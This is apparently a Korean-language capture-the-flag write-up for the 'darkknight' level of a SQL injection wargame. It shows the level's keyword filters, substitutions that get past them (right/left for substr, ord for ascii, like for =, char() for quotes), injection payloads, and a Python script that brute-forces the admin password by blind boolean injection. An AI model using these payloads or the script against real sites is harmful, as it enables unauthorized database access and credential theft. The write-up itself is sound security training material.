los - darkknight
문제 첫화면 먼가 그냥 엄청 필터링 하고있다.
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");
1. pw 파라미터는 '(싱글쿼터)를 필터링하고있으며 기본적으로 '(싱글쿼터)가 2개 들어가있다.
2. no파라미터는 '(싱글쿼터), substr, ascii, = 필터링 하고있다.
1-1 일단 기본적으로 pw에는 '' 가 들어가고 '(싱글쿼터)를 필터링하고 있기 떄문에 no파라미터 부분을 이용해서 우회를 한다.
2-1 substr >> right(left)),
ascii >> ord,
= >> like
'(싱클쿼터) >> char , 0x
각 각 사용해서 필터링 우회를 해본다.
pw파라미터 부분에 "1 or 1like 1" 를 넣어서 쿼리문을 참값으로 만들면 "Hello guest" 문자열이 나타난다.
이걸 이용해서
"no=1 or id like char(97,100,109,105,110) and length(pw) like 8" 쿼리문을 작성했더니 "Hello admin" 이라는 문자열이 나왔다.
즉 쿼리문 결과값이 admin이고 admin에 pw 길이는 8자리이다.
문제는 addslashes함수를 이용한 pw값과 db에 있는 값이 일치해야하니까
ascii, substr은 우회하고 있으니
"1 or id like char(97,100,109,105,110) and ord(right(left(pw,1),1)) like 48"을 입력 첫번째 글자가 48(0)인것을 확인했다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | import requests cookies = {'PHPSESSID': '9eltu0v1l6rbhfmscg4cdffj05'} for lengths in range(1, 30): length = 0 url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?pw=&no=1%20or%20id%20like%20char(97,100,109,105,110)%20and%20length(pw)%20like%20{0}".format(lengths) res = requests.get(url, cookies=cookies) if "<h2>Hello admin</h2>" in res.text: print("=====================================") print("길이는{0}".format(lengths)) print("=====================================\n") length = lengths break else: continue for i in range(1, length + 1): for j in range(33, 127): result = [] url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?pw=&no=1%20or%20id%20like%20char(97,100,109,105,110)%20and%20ord(right(left(pw,{0}),1))%20like%20{1}".format(i, j) res = requests.get(url, cookies=cookies) if "<h2>Hello admin</h2>" in res.text: print("{0}".format(chr(j)), end='') result.append(chr(j)) break | cs |
성공
※ord 함수
ascii 함수와 ord 함수는 서로 사용방식이 똑같다
둘 다 별다른 차이점은 안보인다.
ord 함수와 ascii함수의 차이점은 ord함수는 가장 왼쪽의 문자가 다중 바이트 문자라면 그 문자에 대한 코드를 리턴하는데 그 값은 공식을 사용해서 리턴한다. 근데 만약 다중바이트가 아니라면 ascii와 ord에 리턴값은 동일하다.